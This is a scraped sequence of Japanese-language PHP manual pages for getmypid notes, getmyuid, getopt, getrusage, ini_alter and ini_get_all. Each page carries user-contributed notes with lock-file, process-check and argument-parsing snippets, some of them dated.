   print "PID is still alive! can not run twice!\n";
   exit;
}
?>

:-) perfect if you need to make sure a cron job or shell script has ended before it can be started again.

This works across users- if the cron job is started as 'root' your 'web user' can see if the process is still alive (useful for system status pages)
gabe at fijiwebdesign dot com 02-Feb-2010 09:53
Based on what james at voodoo dot co dot uk said, but modified for CLI scripts (ie: there is no $_SERVER).

<?php

/**
 * Check for a current process by filename
 * @param $file[optional] Filename
 * @return Boolean
 */
function processExists($file = false) {

    $exists     = false;
    $file       = $file ? $file : __FILE__;

    // Check if file is in process list
    exec("ps -C $file -o pid=", $pids);
    if (count($pids) > 1) {
        $exists = true;
    }
    return $exists;
}

?>
james at voodoo dot co dot uk 25-Dec-2009 01:50
The 'ps' command has an option that can make filtering for a specific process more efficient.  Using this the work of looking for matching processes can be made neater:

<?php
    /*
    Return an array of the pids of the processes that are running for the specific command
    e.g.
        returnPids('myprocess.php');
    */
    function returnPids($command) {
        exec("ps -C $command -o pid=",$pids);
        foreach ($pids as $key=>$value) $pids[$key]=trim($value);
        return $pids;
    }

    /*
    Returns an array of the pids for processes that are like me, i.e. my program running
    */
    function returnMyPids() {
        return returnPids(basename($_SERVER["SCRIPT_NAME"]));
    }
?>

e.g. to bomb out if I'm running already

if (count(returnMyPids())>1) exit;
Erickson Reyes ercbluemonday at yahoo dot com 10-Nov-2009 05:01
We also had this challenge in our company to prevent a php script in a cron job from overlapping each other.

We made this solution

<?php
        // Initialize variables
    $found            = 0;
    $file                 = basename(__FILE__);
    $commands    = array();

        // Get running processes.
    exec("ps w", $commands);

        // If processes are found
    if (count($commands) > 0) {

        foreach ($commands as $command) {
            if (strpos($command, $file) === false) {
                               // Do nothin'
            }
            else {
                               // Let's count how many times the file is found.
                $found++;
            }
        }
    }

        // If the instance of the file is found more than once.
    if ($found > 1) {
        echo "Another process is running.\n";
        die();
    }

        /**
        *
        * Regular process here...
        *
        */
?>
Kevin Traas (ktraas- at -gmail dot com) 25-Sep-2009 01:51
Looking to create a lock-file mechanism for a cmd-line script?

Enjoy!

#!/usr/bin/php
<?php

define( 'LOCK_FILE', "/var/run/".basename( $argv[0], ".php" ).".lock" );
if( isLocked() ) die( "Already running.\n" );

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

unlink( LOCK_FILE );
exit(0);

function isLocked()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if( file_exists( LOCK_FILE ) )
    {
        # check if it's stale
        $lockingPID = trim( file_get_contents( LOCK_FILE ) );

       # Get all active PIDs.
        $pids = explode( "\n", trim( `ps -e | awk '{print $1}'` ) );

        # If PID is still active, return true
        if( in_array( $lockingPID, $pids ) )  return true;

        # Lock-file is stale, so kill it.  Then move on to re-creating it.
        echo "Removing stale lock file.\n";
        unlink( LOCK_FILE );
    }

    file_put_contents( LOCK_FILE, getmypid() . "\n" );
    return false;

}
?>
kroczu at interia dot pl 19-Dec-2005 04:59
<?php
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
    [USER] => user
    [PID] => 12345
    [%CPU] => 0.0
    [%MEM] => 0.0
    [VSZ] => 1720
    [RSS] => 8
    [TT] => ??
    [STAT] => Is
    [STARTED] => 6:00PM
    [TIME] => 0:00.01
    [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
      trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
      return false;
   }

   foreach($ps as $key=>$val){
      $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
      $pidinfo[$val] = $ps[1][$key];
      unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
      $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP 21-Mar-2005 02:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net 24-Oct-2003 05:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

<?php
$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);
?>

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.


PHP スクリプト所有者のユーザー ID を取得する

  • ≪ getmypid
  • getopt ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP スクリプト所有者のユーザー ID を取得する

getmyuid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyuid — PHP スクリプト所有者のユーザー ID を取得する

説明

getmyuid ( ) : int|false

現在のスクリプトのユーザー ID を取得します。

返り値

現在のスクリプトのユーザー ID を返し、エラーの場合は false を返します。

参考

  • getmygid() - PHP スクリプトの所有者の GID を得る
  • getmypid() - PHP のプロセス ID を取得する
  • get_current_user() - 現在の PHP スクリプトの所有者の名前を取得する
  • getmyinode() - 現在のスクリプトの inode を取得する
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

bozo_z_clown at yahoo dot com 20-Jun-2007 11:06
Note that this function really does what the description says, it returns the numeric user id of the user who *owns the file* containing the current script not the effective user id of user *running* the current script.  Most applications will want the latter which is provided by posix_getuid().


コマンドライン引数のリストからオプションを取得する

  • ≪ getmyuid
  • getrusage ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • コマンドライン引数のリストからオプションを取得する

getopt

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

getopt — コマンドライン引数のリストからオプションを取得する

説明

getopt ( string $short_options , array $long_options = [] , int &$rest_index = null ) : array|false

スクリプトに渡されたオプションをパースします。

パラメータ

short_options
この文字列の各文字をオプション文字として使用し、 スクリプトにハイフンひとつ (-) で始まるオプションとして渡された内容とマッチさせます。 たとえば、オプション文字列 "x" は -x というオプションを認識します。 a-z、A-Z および 0-9 のみを認識します。
long_options
オプションの配列。 この配列の各要素をオプション文字列として使用し、 スクリプトにハイフンふたつ (--) で始まるオプションとして渡された内容とマッチさせます。 たとえば、longopts の要素 "opt" は --opt というオプションを認識します。
rest_index
rest_index パラメータが与えられると、 引数のパースを止めた時点のインデックスがこの変数に書き込まれます。

short_options パラメータに含まれる要素には次のようなものがあります。

  • 単一の文字 (値を受け付けない)
  • 文字の後にコロンをひとつ続けたもの (値が必須であるパラメータ)
  • 文字の後にコロンをふたつ続けたもの (値がオプションであるパラメータ)
オプションの値は、文字列の後の最初の引数となります。 値が必須の場合、その前に空白があるかどうかは関係ありません。

注意: オプションの値で、" " (空白) を区切り文字として使用することはできません。

long_options パラメータに含まれる要素には次のようなものがあります。

  • 文字列 (値を受け付けない)
  • 文字列の後にコロンをひとつ続けたもの (値が必須であるパラメータ)
  • 文字列の後にコロンをふたつ続けたもの (値がオプションであるパラメータ)

注意:

short_options と long_options の書式はほぼ同じです。唯一の違いは、 long_options はオプションの配列 (その各要素がオプションとなる) を受け取るけれども short_options は文字列 (その各文字がオプションとなる) を受け取るということです。

返り値

この関数はオプション/引数のペアを連想配列で返します。 失敗した場合に false を返します。

注意:

オプション以外のものが見つかった時点でオプションのパースは終了し、 それ以降の内容は破棄されます。

変更履歴

バージョン | 説明
7.1.0 | rest_index パラメータが追加されました。

例

例1 getopt() の例：基本編

<?php
// スクリプト example.php
$options = getopt("f:hp:");
var_dump($options);
?>
shell> php example.php -fvalue -h

上の例の出力は以下となります。

array(2) {
  ["f"]=>
  string(5) "value"
  ["h"]=>
  bool(false)
}

例2 getopt() の例：長いオプション

<?php
// スクリプト example.php
$shortopts  = "";
$shortopts .= "f:";  // 値が必須
$shortopts .= "v::"; // 値がオプション
$shortopts .= "abc"; // これらのオプションは値を受け取りません

$longopts  = array(
    "required:",     // 値が必須
    "optional::",    // 値がオプション
    "option",        // 値なし
    "opt",           // 値なし
);
$options = getopt($shortopts, $longopts);
var_dump($options);
?>
shell> php example.php -f "value for f" -v -a --required value --optional="optional value" --option

上の例の出力は以下となります。

array(6) {
  ["f"]=>
  string(11) "value for f"
  ["v"]=>
  bool(false)
  ["a"]=>
  bool(false)
  ["required"]=>
  string(5) "value"
  ["optional"]=>
  string(14) "optional value"
  ["option"]=>
  bool(false)
}

例3 getopt() の例：複数のオプションを一度に渡す

<?php
// スクリプト example.php
$options = getopt("abc");
var_dump($options);
?>
shell> php example.php -aaac

上の例の出力は以下となります。

array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
    [2]=>
    bool(false)
  }
  ["c"]=>
  bool(false)
}

例4 getopt() の例: rest_index を使う

<?php
// Script example.php
$optind = null;
$opts = getopt('a:b:', [], $optind);
$pos_args = array_slice($argv, $optind);
var_dump($pos_args);
shell> php example.php -a 1 -b 2 -- test

上の例の出力は以下となります。

array(1) {
  [0]=>
  string(4) "test"
}

参考

  • $argv

User Contributed Notes

taka8aru at gmail dot com 20-Jun-2020 08:40
getopt() simply ignores unnecessary options specified in argv.
Many times, it does not work well to handle errors in command line.

A package PEAR::Console_Getopt can handle this problem, but it requires additonal installation.
GNU getopt(1) does well at shell level.

Following is my extended getopt() can detect unnecessary options:

<?php
function getoptex($sopt, $lopt, &$ind)
{
    global $argv, $argc;

    $sopts = getopt($sopt, $lopt);
    $sopts_cnt = count($sopts); // single-option count based on original sopt

    $asopt = $sopt . implode("", range("a", "z")) . implode("", range("A", "Z")) . implode("", range("0", "9"));
    $asopts = getopt($asopt, $lopt);
    $asopts_cnt = count($asopts); // actual single-option count including all single options even if is not listed as sopt

    $lopt_trim = array();
    foreach ($lopt as $o) {
        $lopt_trim[] = trim($o, ":");
    }
    $alopts_cnt = 0;
    $alopts_flag = true;
    for ($i = 1; $i < $argc; $i++) {
        if ($argv[$i] === "--") { // end of option
            break;
        }
        if (strpos($argv[$i], "--") === 0) { // actual long-option
            $alopts_cnt++;
            $o = substr($argv[$i], 2);
            if (! in_array($o, $lopt_trim)) { // but it is not listed as lopt
                $alopts_flag = false;
            } else {
                if (in_array(($o . ":"), $lopt)) { // if the option requires value
                    $i++; // assume next is the value
                    if ($i >= $argc) { // and the value is missing
                        $alopts_flag = false;
                        break;
                    }
                }
            }
        }
    }

    //var_dump($sopts, $asopts, $lopts, $alopts_cnt, $alopts_flag);
    if ($sopts_cnt != $asopts_cnt || (! $alopts_flag)) {
        return false;
    } else {
        return getopt($sopt, $lopt, $ind);
    }
}
?>
rastyazhenko dot anton at gmail dot com 29-Dec-2019 03:14
$opts = getopt('', $params = ['ogrn:','inn:','kpp::','host:','port:','user:','pass:','path:','pattern:']) + ['kpp' => 0,'port' => 21,'path' => '/','pattern' => '.+\.dbf'];

array_map(function ($param) use ($opts) {
    $matches = [];
    if ((bool)preg_match('/(?<param>[^:\s]+)\b:$/sU', $param, $matches)
        && (!array_key_exists($matches['param'], $opts) || empty($opts[$matches['param']])))
        die(sprintf('<prtg><error>1</error><text>%s not set</text></text></error></prtg>', $matches['param']));
}, $params);
Sane Guy 17-Sep-2018 12:40
Be sure to wrap your head around this PHP jewel that took me a while to comprehend:

The returned array will contain a boolean FALSE for options that HAVE been specified.

Because why use TRUE to indicate "yes, it's there" when you can also use FALSE for that purpose, right? This is completely counter-intuitive and is most certainly only ever possible in PHP-land.
Matt 24-May-2018 03:35
Beware, this function can be dangerous for options following arguments when, for example, you make use of a --dry-run option, due to this behaviour:

"Note: The parsing of options will end at the first non-option found, anything that follows is discarded."

My script was doing a live run even though I specified --dry-run as the last part of the command like this `php foo.php arg1 --dry-run`: getopt() did NOT include dry-run in its list of options resulting in my script executing a live run.
salimzadehsajad at gmail dot com 02-Sep-2017 05:16
if you use command like below
    php [filename] [argument without (-) ] [options]
getopt don't return value. you can use this function

function getoptions() {
    global $argv,$argc;
    $options = array();
    for($i = 0;$i < $argc;$i++) {
        $arg = $argv[$i];
        if(strlen($arg) > 1 && $arg[0] == '-') {
            if($arg[1] == '-' && $i + 1 < $argc) { $i++; $options[substr($arg,2,strlen($arg))] = $argv[$i]; }
            else $options[$arg[1]] = substr($arg,2,strlen($arg));
        }
    }
    return $options;
}
wouter dot berben at phpro dot be 10-Jan-2017 10:37
Your description on getopt is either wrong or the documentation of the function is wrong.

-- snippet --
array getopt ( string $options [, array $longopts [, int &$optind ]] )
--

As I read this only the first parameter string $options is required.

-- snippet --
longopts
An array of options. Each ...

optind
If the optind parameter is present, ...
--

This means that "longopts" is optional, but the third parameter "optind" is required (although the description leaves room for interpretation). This is against the possibilities of PHP because when a parameter is declared optional all following parameters must be declared optional as well.

See http://php.net/manual/en/functions.arguments.php Example #4 and #5.

The immutable embedded stub (PHPStorm) [ https://github.com/JetBrains/phpstorm-stubs/blob/master/standard/standard_3.php ] specifies this:
-- snippet --
function getopt ($options, array $longopts = null, &$optind) {}
--

Which is also wrong, but probably based upon this documentation.
micropresident at gmail dot com 12-Apr-2016 01:21
when using -f option to indicate script name, php does not allow to use double dash -- to define options after the script name;

For example, the following command  cannot be execute:
php -f myscript.php --config "myconfig.ini"
housni dot yakoob at NOSPAM dot gmail dot com 17-Jun-2015 11:14
To elaborate on what 'ch1902' said, there certainly are instances where you may need to execute a script via CLI and the HTTP protocol. In such an instance, you can normalize how your script parses via CLI (using getopt()) as well as via HTTP (using $_GET) with the following simplified code:

<?php
// PHP 5.4+ only due to the new array brace style.
function request(array $options = []) {
    // Set the default values.
    $defaults = [
        'params' => '',
        'os' => '',
        'username' => posix_getpwuid(posix_geteuid())['name'],
        'env' => ''
    ];
    $options += $defaults;

    // Sufficient enough check for CLI.
    if ('cli' === PHP_SAPI) {
        return getopt('', ['params:', 'os::', 'username::', 'env::']) + $options;
    }
    return $_GET + $options;
}

print_r(request());
?>

The above code would yield the results below when access via CLI and HTTP.

/**
 * params = foo/bar
 * username = housni.yakoob
 */
// CLI
$ php script.php --params=foo/bar --username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

// HTTP
script.php?params=foo/bar&username=housni.yakoob
Array
(
    [params] => foo/bar
    [username] => housni.yakoob
    [os] =>
    [env] =>
)

/**
 * params = foo/bar
 * username = Not provided, therefore, the default value will be used.
 */
// CLI
$ whoami && php script.php --params=foo/bar
housni // <-- Current users usersname (output of `whoami`).
Array
(
    [params] => foo/bar
    [os] =>
    [username] => housni
    [env] =>
)

// HTTP
script.php?params=foo/bar
Array
(
    [params] => foo/bar
    [os] =>
    // The username of my Apache user, the result of posix_getpwuid(posix_geteuid())['name']
    [username] => www-data
    [env] =>
)

As you can see, the output is consistent when the script is executed via the CLI or the web.
takingsides at gmail dot com 09-Mar-2014 03:16
As already mentioned getopt() will stop parsing options upon the '--'.  Sometimes you will have options and arguments but the user may not always provide the explicit -- option.

Below is a quick way to collect options and arguments regardless of the -- consistently.

#!/usr/bin/php
<?php

$options = getopt('hl::m:v:a', [
    'help',
    'list::',
    'module:',
    'version:',
    'all',
]);

var_dump( $options );

$args = array_search('--', $argv);
$args = array_splice($argv, $args ? ++$args : (count($argv) - count($opt)));

var_dump( $args );
?>
ch1902 18-Aug-2013 03:37
Sometimes you will want to run a script from both the command line and as a web page, for example to debug with better output or a command line version that writes an image to the system but a web version that prints the image in the browser. You can use this function to get the same options whether passed as command line arguments or as $_REQUEST values.

<?php
/**
 * Get options from the command line or web request
 *
 * @param string $options
 * @param array $longopts
 * @return array
 */
function getoptreq ($options, $longopts)
{
   if (PHP_SAPI === 'cli' || empty($_SERVER['REMOTE_ADDR']))  // command line
   {
      return getopt($options, $longopts);
   }
   else if (isset($_REQUEST))  // web script
   {
      $found = array();

      $shortopts = preg_split('@([a-z0-9][:]{0,2})@i', $options, 0, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
      $opts = array_merge($shortopts, $longopts);

      foreach ($opts as $opt)
      {
         if (substr($opt, -2) === '::')  // optional
         {
            $key = substr($opt, 0, -2);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
            else if (isset($_REQUEST[$key]))
               $found[$key] = false;
         }
         else if (substr($opt, -1) === ':')  // required value
         {
            $key = substr($opt, 0, -1);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
         }
         else if (ctype_alnum($opt))  // no value
         {
            if (isset($_REQUEST[$opt]))
               $found[$opt] = false;
         }
      }

      return $found;
   }

   return false;
}
?>

Example

<?php
// php script.php -a -c=XXX -e=YYY -f --two --four=ZZZ --five=5
// script.php?a&c=XXX&e=YYY&f&two&four=ZZZ&five=5

$opts = getoptreq('abc:d:e::f::', array('one', 'two', 'three:', 'four:', 'five::'));

var_dump($opts);

/**
array(7) {
  'a' => bool(false)
  'c' => string(3) "XXX"
  'e' => string(3) "YYY"
  'f' => bool(false)
  'two' => bool(false)
  'four' => string(3) "ZZZ"
  'five' => string(1) "5"
}
*/
?>
Anonymous 02-Feb-2011 04:33
getopt() only returns the options specified if they were listed in the options.

So you cant make a switch() use default: to complain of an unknown option. :(
mpartap at gmx dot net 24-Oct-2010 01:39
Here's another way of removing options found by getopt() from the argv[] array. It handles the different kind of parameters without eating chunks that do not belong to an --option. (-nr foo param1 param2 foo)
<?php
$parameters = array(
  'n' => 'noparam',
  'r:' => 'required:',
  'o::' => 'optional::',
);

$options = getopt(implode('', array_keys($parameters)), $parameters);
$pruneargv = array();
foreach ($options as $option => $value) {
  foreach ($argv as $key => $chunk) {
    $regex = '/^'. (isset($option[1]) ? '--' : '-') . $option . '/';
    if ($chunk == $value && $argv[$key-1][0] == '-' || preg_match($regex, $chunk)) {
      array_push($pruneargv, $key);
    }
  }
}
while ($key = array_pop($pruneargv)) unset($argv[$key]);
?>
geoff at gosquared dot com 08-May-2010 05:05
It seems under PHP 5.3.2, getopt() makes a script fail to load if called via HTTP without any conditions. You'll need something like if(isset($_SERVER['argc'])) $args = getopt(); to prevent that.
mbirth at webwriters dot de 24-May-2008 01:41
After getopt() of PHP5.3.0 (on Windows) ignored some parameters if there was a syntactical problem, I decided to code my own generic parameter parser.

<?php
    /**
     * Parses $GLOBALS['argv'] for parameters and assigns them to an array.
     *
     * Supports:
     * -e
     * -e <value>
     * --long-param
     * --long-param=<value>
     * --long-param <value>
     * <value>
     *
     * @param array $noopt List of parameters without values
     */
    function parseParameters($noopt = array()) {
        $result = array();
        $params = $GLOBALS['argv'];
        // could use getopt() here (since PHP 5.3.0), but it doesn't work relyingly
        reset($params);
        while (list($tmp, $p) = each($params)) {
            if ($p{0} == '-') {
                $pname = substr($p, 1);
                $value = true;
                if ($pname{0} == '-') {
                    // long-opt (--<param>)
                    $pname = substr($pname, 1);
                    if (strpos($p, '=') !== false) {
                        // value specified inline (--<param>=<value>)
                        list($pname, $value) = explode('=', substr($p, 2), 2);
                    }
                }
                // check if next parameter is a descriptor or a value
                $nextparm = current($params);
                if (!in_array($pname, $noopt) && $value === true && $nextparm !== false && $nextparm{0} != '-') list($tmp, $value) = each($params);
                $result[$pname] = $value;
            } else {
                // param doesn't belong to any option
                $result[] = $p;
            }
        }
        return $result;
    }
?>

A call like: php.exe -f test.php -- alfons -a 1 -b2 -c --d 2 --e=3=4 --f "alber t" hans wurst

and an in-program call parseParameters(array('f')); would yield in a resulting array:

Array
(
    [0] => alfons
    [a] => 1
    [b2] => 1
    [c] => 1
    [d] => 2
    [e] => 3=4
    [f] => 1
    [1] => alber t
    [2] => hans
    [3] => wurst
)

As you can see, values without an identifier are stored with numeric indexes. Existing identifiers without values get "true".
uberlinuxguy at tulg dot org 25-Apr-2008 01:26
One thing of important note would be that getopt() actually respects the '--' option to end an option list.  Thus given the code:

test.php:
<?php
    $options = getopt("m:g:h:");
    if (!is_array($options) ) {
        print "There was a problem reading in the options.\n\n";
        exit(1);
    }
    $errors = array();
    print_r($options);
?>

And running:

# ./test.php ./run_vfs  -h test1 -g test2 -m test3 -- this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => test3
)

Whereas running:
# /test.php ./run_vfs  -h test1 -g test2 -m test3 this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => Array
        (
            [0] => test3
            [1] => green
        )

)
Francois Hill 19-Nov-2007 12:44
Although very interesting, koenbollen at gnospamail dot com's update of the argv array fails when option values follow the option with no space :
Indeed
    php MyScript.php5 -t5
and
    php MyScript.php5 -t 5
with $options="t:" are treated as the same by getopt.

This upgraded function should take care of it :

File : shift_test.php5
<?php
    function shift($options_array)
    {
        foreach( $options_array as $o => $a )
        {
            // Look for all occurrences of option in argv and remove if found :
            // ----------------------------------------------------------------
            // Look for occurrences of -o (simple option with no value) or -o<val> (no space in between):
            while($k=array_search("-".$o.$a,$GLOBALS['argv']))
            {    // If found remove from argv:
                if($k)
                    unset($GLOBALS['argv'][$k]);
            }
            // Look for remaining occurrences of -o <val> (space in between):
            while($k=array_search("-".$o,$GLOBALS['argv']))
            {    // If found remove both option and value from argv:
                if($k)
                {    unset($GLOBALS['argv'][$k]);
                    unset($GLOBALS['argv'][$k+1]);
                }
            }
        }
        // Reindex :
        $GLOBALS['argv']=array_merge($GLOBALS['argv']);
    }

    print_r($argv);
    $options_array=getopt('t:h');
    shift($options_array);
    print_r($argv);
?>

>php shift_test.php5 -h -t4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t4
    [3] => param1
    [4] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)

>php shift_test.php5 -h -t 4 param1 param2
will ouptut :
Array
(
    [0] => test.php5
    [1] => -h
    [2] => -t
    [3] => 4
    [4] => param1
    [5] => param2
)
Array
(
    [0] => test.php5
    [1] => param1
    [2] => param2
)
Damien B. 07-Nov-2007 10:47
This is how I handle arguments with getopt: I use switch within a foreach at the beginning of a program.

<?php

$opts = getopt('hs:');

// Handle command line arguments
foreach (array_keys($opts) as $opt) switch ($opt) {
  case 's':
    // Do something with s parameter
    $something = $opts['s'];
    break;

  case 'h':
    print_help_message();
    exit(1);
}

print "$something\n";

?>
koenbollen at gnospamail dot com 29-Mar-2007 12:51
After you use the getopt function you can use the following script to update the $argv array:
<?php
  $options = "c:ho:s:t:uvV";
  $opts = getopt( $options );
  foreach( $opts as $o => $a )
  {
    while( $k = array_search( "-" . $o, $argv ) )
    {
      if( $k )
        unset( $argv[$k] );
      if( preg_match( "/^.*".$o.":.*$/i", $options ) )
        unset( $argv[$k+1] );
    }
  }
  $argv = array_merge( $argv );
?>
Note: I used the array_merge function to reindex the array's keys.

Cheers, Koen Bollen
17-Jan-2007 11:59
About getopt(String):
 Parses the command-line arguments into an associative array, using the function's String parameter to specify arguments and options, thus:
* arguments are specified as any letter followed by a colon, e.g. "h:".
* arguments are returned as "h" => "value".
* options are specified as any letter not followed by a colon, e.g. "r".
* options are returned as "r" => (boolean) false.

Also note that:
1) Options or arguments not passed in the command-line parameters are not set in the returned associative array.
2) Options or arguments present in the command-line arguments multiple times are returned as an enumerated array within the returned associative array.
joey at alegria dot co dot jp 30-Apr-2006 09:57
There are 2 simpler (and much faster) methods for getting good getopt() operation without creating your own handler.

1. Use the Console_Getopt PEAR class (should be standard in most PHP installations) which lets you specify both short and long form options as well as whether or not arguments supplied to an option are themselves 'optional'. Very simple to use and requires very little code to operate compaired to writing own handler.

2. If you cannot load external PEAR objects, use your shell's getopt() functions (which in BASHs case work very well) to process options and have your shell script then call your PHP script with a rigid argument structure that is very easy for PHP to digest such as:
% myfile.php -a TRUE -b FALSE -c ARGUMENT ...
If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
chris at tiny dot net 23-Apr-2004 07:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
    [f] => a
)
$ opt.php -f 'a b c'
Array
(
    [f] => a b c
)
$ opt.php -f "a b c"
Array
(
    [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
    [f] => a b c
)
$


現在のリソース使用状況を取得する

  • ≪ getopt
  • ini_alter ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在のリソース使用状況を取得する

getrusage

(PHP 4, PHP 5, PHP 7, PHP 8)

getrusage — 現在のリソース使用状況を取得する

説明

getrusage ( int $mode = 0 ) : array|false

この関数は、getrusage(2) へのインターフェイスです。 システムコールから返されたデータを含む連想配列を返します。

パラメータ

mode

mode が 1 の場合、getrusage は RUSAGE_CHILDREN を付けてコールされます。

返り値

システムコールから返されたデータを含む連想配列を返します。 すべてのエントリは、記述されたフィールド名を用いてアクセス可能です。 失敗時に false を返します。

例

例1 getrusage() の例

<?php
$dat = getrusage();
echo $dat["ru_oublock"];       // ブロック出力操作の回数
echo $dat["ru_inblock"];       // ブロック入力操作の回数
echo $dat["ru_msgsnd"];        // IPC メッセージの送信数
echo $dat["ru_msgrcv"];        // IPC メッセージの受信数
echo $dat["ru_maxrss"];        // RAM 上に存在する仮想ページのサイズ(resident set size) の最大値
echo $dat["ru_ixrss"];         // 共有メモリサイズの合計値
echo $dat["ru_idrss"];         // 非共有データの合計サイズ
echo $dat["ru_minflt"];        // ページの再利用 (ソフトページフォルト)
echo $dat["ru_majflt"];        // ページフォルトの数 (hard page faults)
echo $dat["ru_nsignals"];      // 受信したシグナル
echo $dat["ru_nvcsw"];         // 意図したコンテキストスイッチ
echo $dat["ru_nivcsw"];        // 意図しないコンテキストスイッチ
echo $dat["ru_nswap"];         // スワップの数
echo $dat["ru_utime.tv_usec"]; // 使用するユーザー時間 (マイクロ秒)
echo $dat["ru_utime.tv_sec"];  // 使用するユーザー時間 (秒)
echo $dat["ru_stime.tv_usec"]; // 使用するシステム時間 (マイクロ秒)
?>

変更履歴

バージョン | 説明
7.0.0 | この関数は、Windows でサポートされるようになりました。

注意

注意:

Windows では、getrusage() は以下のメンバーしか帰しません。

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"
  • "ru_majflt" (mode が RUSAGE_SELF である場合のみ)
  • "ru_maxrss" (mode が RUSAGE_SELF である場合のみ)

getrusage() を呼び出す際に mode に 1 (RUSAGE_CHILDREN) を指定すると、 各スレッドのリソース使用状況を収集します (つまり、内部的には RUSAGE_THREAD を指定してこの関数が呼ばれるということです)。

注意:

BeOS 2000 では、以下のメンバーしか返しません。

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"

参考

  • getrusage(2) についてのシステムの man ページ

User Contributed Notes

Anonymous 19-Jun-2018 03:07
BeOS support is removed in PHP 7.3:
https://github.com/php/php-src/blob/php-7.3.0alpha1/NEWS
jlh at gmx dot ch 11-Jan-2017 04:09
Note that this function returns rusage of the current process. In a web environment where you have long running apache processes that serve several requests with PHP executions, this will return cumulative timings and is therefore not suitable for telling how much user time your used. The best you could do is to call getrusage() once at the beginning and once at the end and calculate the difference.
Domas Mituzas 14-Jan-2008 01:22
getrusage() reports kernel counters that are updated only once application loses context and a switch to kernel space happens. For example on modern Linux server kernels that would mean that getrusage() calls would return information rounded at 10ms, desktop kernels - at 1ms.

getrusage() isn't usable for micro-measurements at all - and getmicrotime(true) might be much more valuable resource.


ini_set のエイリアス

  • ≪ getrusage
  • ini_get_all ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • ini_set のエイリアス

ini_alter

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_alter — ini_set() のエイリアス

説明

この関数は次の関数のエイリアスです。 ini_set().

User Contributed Notes

There are no user contributed notes for this page.


すべての設定オプションを得る

  • ≪ ini_alter
  • ini_get ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • すべての設定オプションを得る

ini_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ini_get_all — すべての設定オプションを得る

説明

ini_get_all ( string $extension = ? , bool $details = true ) : array

すべての登録済み設定オプションを返します。

パラメータ

extension

オプションで指定する拡張モジュール名。指定した場合は、 その拡張モジュールに関するオプションのみを返します。

details

詳細な設定を取得するか、あるいは各設定の現在の値のみを取得するか。 デフォルトは true (詳細情報を取得する) です。

返り値

ディレクティブ名をキーとする連想配列を返します。 extension が存在しない場合は、 false を返し、E_WARNING レベルの警告を発生させます。

details が true (デフォルト) の場合、 配列の値は、 global_value (php.iniで設定されている)、 local_value (おそらくini_set()または .htaccessでセットされている)、access (アクセスレベル) を含む配列となります。

details が false の場合、 配列の値はそのオプションの現在の値となります。

アクセスレベルの意味についてはマニュアルを参照ください。

注意:

